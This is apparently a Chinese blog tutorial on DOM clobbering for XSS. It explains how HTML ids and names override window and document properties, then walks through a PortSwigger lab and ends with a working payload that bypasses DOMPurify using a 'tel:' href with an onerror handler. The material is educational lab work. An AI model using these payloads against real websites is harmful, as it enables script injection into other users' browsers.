Skip to main content
Background Image

探索XSS安全DAY(三)

·495 words·3 mins· loading · loading ·
Table of Contents

DOM与Window的关系
#

当你在HTML设定了一个带有id的元素之后,你可以用window来得到他

<html>
<head></head>
<body>
<button id=Test>click me!</button>
<script>
console.log(window.Test)
</script>
</body>
</html>

所以,比如说我要让他弹窗,正常来讲我们可以加一个EventListener,然后触发,像这样子

<script>
document.getElementById("Test")
.addEventListener('click',()=>{
alert(1)
})
</script>

但是现在我们可以用一个最短的方式

Test.onclick=()=>alert(1)

除了id可以这么用,其实还有另外一些标签也可以,可以看到spec html spec

所以除了id,还有img,form,embed和object可以这么去用。

<embed name="a"></embed>  
<form name="b"></form>  
<img name="c" />  
<object name="d"></object>

所以,就是我们可以通过HTML去影响JS

DOM clobbering
#

这里举一个攻击场景

<!DOCTYPE html>
<html>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:Hello DOM clobbering
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

这里假设所有的xss代码都不起作用,只能更改html的情况下,如何才能攻击呢? 我们前面提到我们可以通过id等信息去直接拿到window,所以我们只需要更改html对下面的值进行覆盖即可。 比如说这样子

  <div>
    你的留言:<div id= "TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 

应该都看得懂,他就会把script的src读进来,那么比如我在本地写一个js,让他弹窗,我们可以试试

但是这里要注意一点,就是比如我要用console去把这个div的id拼接一个''可以看到他的输出就变为了:
看到输出的竟然不是字符串而是HTMLDivElement,原因是因为他并没有tostring的方法可以返回字符串,而我们可以查阅一下
看到只有a和href标签会有这个tostring,所以我们可以总结一下dom clobbering的使用场景是在:

  • HTML可控并且JS中有利用到window之类的东西
    1. <a>搭配href 以及id 让元素toString之后变成我们想要的值

多层级 DOM clobbering
#

上面的例子是我们覆盖了单层的dom,那么是否可以覆盖多层的呢? 这里的意思就我们可不可以这样子window.config.Test来覆盖Test呢 答案是可以的,我们这里用到了form标签即可

<form id="config">
	<input name = "IsTest" />
	<button id="IsTest2">click me!</button>
</form>

<script>
console.log(window.config.IsTest)
console.log(window.config.IsTest2)
</script>

但是注意这里是没有a标签可以用的,所以如果tostring的话,就没办法利用了,所以得搭配点东西利用,这个后面会说

除了利用HTML 本身的层级以外,还可以利用另外一个特性:HTMLCollection

我们可以尝试这样子写(Firefox中只会输出第一个,所以我们用Chrome来看)

<a id="config">aaaa</a>
<a id ="config"></a>
<script>
console.log(window.config)
</script>

那有了HTMLCollection之后可以做什么呢?在4.2.10.2. Interface HTMLCollection中有写到,可以利用name 或是id 去拿HTMLCollection里面的元素。
就像这样子,也可以和前面的造成一个结果,但是在firefox下是没办法这样子用的,要注意一下, 然后这里只有两层,如果要三层的话可以用form

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

如果你需要もっともっと层级,这个时候就可以用到万能iframe了

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

这里记得要加上一个setTimeout因为iframe加载需要时间 如果你需要更多层级的话,可以使用这个好用的工具:DOM Clobber3r

利用Document攻击
#

直接上例子吧

<!DOCTYPE html>

<html lang="en">
<head>
  <meta charset="utf-8">
</head>
<body>
  <img name=cookie>
  <form id=test>
    <input name=lastElementChild>
    <div>I am last child</div>
  </form>
  <embed name=getElementById></embed>
  <script>
    console.log(document.cookie) // <img name="cookie">
    console.log(document.querySelector('#test').lastElementChild) // <input name=lastElementChild>
    console.log(document.getElementById) // <embed name=getElementById></embed>
  </script>
</body>
</html>

我们利用了HTML 元素影响到了document,原本document.cookie应该是要显示cookie 的,现在却变成了<img name=cookie>这个元素,而lastElementChild原本应该要回传的是最后一个元素,却因为form 底下的name 会优先,因此抓到了同名的元素。

最后的document.getElementById也可以被DOM 覆盖,如此一来呼叫document.getElementById()时就会出错,可以让整个页面crash。

ok那么我们现在可以打两个lab试试

PortSwigger1
#

我们进来可以看到这里有一个留言区,可以用html的格式

比如我们留一个h1的标签
可以看到是可以的,那么现在我们需要得到flag,如何利用dom clobbering呢?我们可以在源代码处看见

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

我们先看到escapeHTML函数,这里他对尖括号以及引号做了转义,用了实体编码,也就是他这里自己写了一个dompurify的东西。当然他也加入了这个

所以显而易见,我们是没办法写xss的东西进去的,但是看到这里
这里利用了window.defaultAvatar,作为默认的avatar的值 并且拼接到了img标签内,最后放到了avatarImgHTML之中,然后innerHTML写入到了对应的div标签里面,所以我们着重看

let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

然后他取的就是defaultAvatar.avatar下的值,所以这里就是一个两层的一个dom clobbering,所以我们可以构造

<a id=defaultAvatar>
<a id=defaultAvatar name="avatar"href=...>

这样子就可以拿到href的值,然后我们闭合前面的,然后注释掉后面的即可

	href='"onerror=alert(1)//

事实上…并没有触发

找一下哪里出了问题
似乎被dompurify拦了,可以看到最前面被转义成了%22,所以没办法触发这个xss,要利用一些办法把他给跳出来,重新看一遍源码,可以看到dompurify其实是有做白名单的
说不定我们可以利用这个,先试试tel放进去是什么效果
诶!!发现他确实可以写东西进去,并且双引号也理所应答加了进去,那么这个时候,是不是就可以闭合然后用onerror来触发了呢?

<a id=defaultAvatar>
<a id=defaultAvatar name= avatar href='tel:"onerror=alert(111)'>

但是后面会有双引号把alert当做字符串使用了,那么我们只需要注释掉他即可。 最终exp

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>

Delete's blog
Author
Delete’s blog